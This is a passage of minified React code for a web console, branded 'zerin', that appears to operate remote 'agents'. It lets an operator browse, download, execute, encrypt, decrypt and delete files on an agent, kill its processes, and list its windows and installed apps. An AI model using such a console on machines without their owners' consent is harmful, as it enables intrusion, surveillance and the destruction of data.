be=V.clientX,ye=V.clientY;be+ae>window.innerWidth&&(be=window.innerWidth-ae-8),ye+ue>window.innerHeight&&(ye=window.innerHeight-ue-8),h({x:Math.max(4,be),y:Math.max(4,ye),entry:Z})},F=()=>{!y||!b.trim()||K(y.action,y.entry,b)},U=n.split(/[/\\]/).filter(Boolean);return a.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:V=>{V.preventDefault(),h(null)},children:[a.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[a.jsx("button",{onClick:()=>T("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:k,children:"root"}),U.map((V,Z)=>a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:()=>{const ae=U.slice(0,Z+1).join("\\")+"\\";T(ae)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:k,children:V})]},Z))]}),a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:()=>T(n),disabled:k||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),k&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&a.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(V=>a.jsxs("button",{onClick:()=>{if(V.isDir){const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";T(n+Z+V.name)}},onContextMenu:Z=>M(Z,V),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-sm`,children:[a.jsx("span",{className:"text-zerin-text-muted",children:V.isDir?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),a.jsx("span",{className:V.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:V.name})]},V.name))]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),p&&a.jsxs("div",{ref:S,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:p.x,top:p.y},children:[a.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:a.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:p.entry.name})}),a.jsxs("button",{onClick:()=>G(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),a.jsxs("button",{onClick:()=>_(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),a.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>R(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&a.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:V=>V.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),a.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),a.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),a.jsx("input",{ref:O,type:"password",value:b,onChange:V=>w(V.target.value),onKeyDown:V=>{V.key==="Enter"&&F(),V.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r + transition-all mb-4`}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:F,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors capitalize`,children:y.action})]})]})})]})}function JU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState(null),[x,g]=m.useState(null),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:k}=await Me(e,{command:"ps"});u(!0);let z=0;const S=30;v.current=setInterval(async()=>{var O;z++;try{const T=(O=(await Xn(e)).results)==null?void 0:O.find(P=>P.task_id===k);if(T){if(v.current&&clearInterval(v.current),v.current=null,s(!1),T.error){l(T.error);return}if(T.output){const P=T.output.split(` +`).filter(K=>K.trim()),D=[];for(const K of P){const _=K.trim().split(/\s+/);if(_.length>=2){const M=parseInt(_[0],10);if(!isNaN(M)){const F=_.length>=3?parseInt(_[1],10):0,U=!isNaN(F)&&_.length>=3,V=U?_.length>=4&&_.slice(3).join(" ")||_[2]:_.slice(1).join(" "),Z=U&&_.length>=4?_[2]:void 0;D.push({pid:M,ppid:U?F:0,name:V,user:Z,children:[]})}}}const G=new Map;D.forEach(K=>G.set(K.pid,K));const R=[];for(const K of D){const _=G.get(K.ppid);_&&_!==K?_.children.push(K):R.push(K)}r(R.length>0?R:D.map(K=>({...K,children:[]})))}}else z>=S&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(k){l(k instanceof Error?k.message:"Failed to send command"),s(!1)}}},[e,y]),w=(k,z)=>{if(!z)return k;const S=z.toLowerCase();return k.filter(O=>{const A=O.name.toLowerCase().includes(S)||String(O.pid).includes(S),T=w(O.children,z).length>0;return A||T})},j=m.useCallback(async k=>{h(k),g(null);try{await Me(e,{command:"kill",args:[String(k)]}),setTimeout(b,2e3)}catch(z){l(z instanceof Error?z.message:"Failed to kill process")}finally{h(null)}},[e,b]),N=w(n,d);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:k=>f(k.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),a.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:N.map(k=>a.jsx(cS,{process:k,depth:0,confirmKillPid:x,killingPid:p,onKillClick:z=>g(z),onKillConfirm:j,onKillCancel:()=>g(null)},k.pid))})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function cS({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o}){const[l,c]=m.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-xs`,children:[a.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),a.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&a.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),a.jsx("span",{children:f?a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>s(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?a.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(p=>a.jsx(cS,{process:p,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o},p.pid))]})}function eV({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useCallback(async()=>{if(!p){s(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Me(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const N=(w=(await Xn(e)).results)==null?void 0:w.find(k=>k.task_id===y);if(N){if(h.current&&clearInterval(h.current),h.current=null,s(!1),N.error){l(N.error);return}if(N.output)try{const k=JSON.parse(N.output);r(k)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),s(!1)}}},[e,p]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:x,disabled:p||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function tV({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState("name"),[x,g]=m.useState("asc"),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:z}=await Me(e,{command:"installed_apps"});u(!0);let S=0;const O=30;v.current=setInterval(async()=>{var A;S++;try{const P=(A=(await Xn(e)).results)==null?void 0:A.find(D=>D.task_id===z);if(P){if(v.current&&clearInterval(v.current),v.current=null,s(!1),P.error){l(P.error);return}if(P.output)try{const D=JSON.parse(P.output);r(D)}catch{l("Failed to parse installed apps data")}}else S>=O&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(z){l(z instanceof Error?z.message:"Failed to send command"),s(!1)}}},[e,y]);function w(z){p===z?g(S=>S==="asc"?"desc":"asc"):(h(z),g("asc"))}const N=[...d?n.filter(z=>{const S=d.toLowerCase();return z.name.toLowerCase().includes(S)||z.version.toLowerCase().includes(S)||z.publisher.toLowerCase().includes(S)}):n].sort((z,S)=>{const O=z[p]||"",A=S[p]||"",T=O.localeCompare(A,void 0,{sensitivity:"base"});return x==="asc"?T:-T}),k=({col:z})=>p!==z?null:x==="asc"?a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:z=>f(z.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?N.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",a.jsx(k,{col:"name"})]}),a.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text 